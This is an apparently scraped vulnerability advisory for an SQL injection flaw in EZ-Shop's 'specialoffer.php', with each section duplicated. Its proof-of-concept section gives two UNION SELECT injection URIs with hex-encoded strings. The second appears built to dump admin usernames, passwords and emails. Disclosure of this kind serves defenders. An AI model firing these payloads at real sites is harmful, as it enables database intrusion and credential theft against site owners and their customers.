EZ-Shop 'specialoffer.php' SQL Injection Vulnerability
BID:47373
Info
EZ-Shop 'specialoffer.php' SQL Injection Vulnerability
| Bugtraq ID: | 47373 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 14 2011 12:00AM |
| Updated: | Aug 19 2011 04:20PM |
| Credit: | Giovanni Buzzin, 'Osirys' |
| Vulnerable: |
FC Software EZ-Shop 1.02 FC Software EZ-Shop 0.1 |
| Not Vulnerable: | |
Discussion
EZ-Shop 'specialoffer.php' SQL Injection Vulnerability
EZ-Shop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
EZ-Shop 1.02 is vulnerable; other versions may also be affected.
EZ-Shop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
EZ-Shop 1.02 is vulnerable; other versions may also be affected.
Exploit / POC
EZ-Shop 'specialoffer.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example exploit and URIs are available:
http://www.example.com/[cms path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c6563 420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)%23
http://www.example.com/[cms_path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c6563420312c322c2f2a,@@version,0x2a2f636f6e63617428307833612c76617261646d696e6e616d652c307833612c76617
270617373776f72642c307833612c766172656d61696c2c30783361292c342c352066726f6d2074626c61646d696e23)%23
Attackers can use a browser to exploit this issue.
The following example exploit and URIs are available:
http://www.example.com/[cms path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c6563 420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)%23
http://www.example.com/[cms_path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c6563420312c322c2f2a,@@version,0x2a2f636f6e63617428307833612c76617261646d696e6e616d652c307833612c76617
270617373776f72642c307833612c766172656d61696c2c30783361292c342c352066726f6d2074626c61646d696e23)%23
Solution / Fix
EZ-Shop 'specialoffer.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].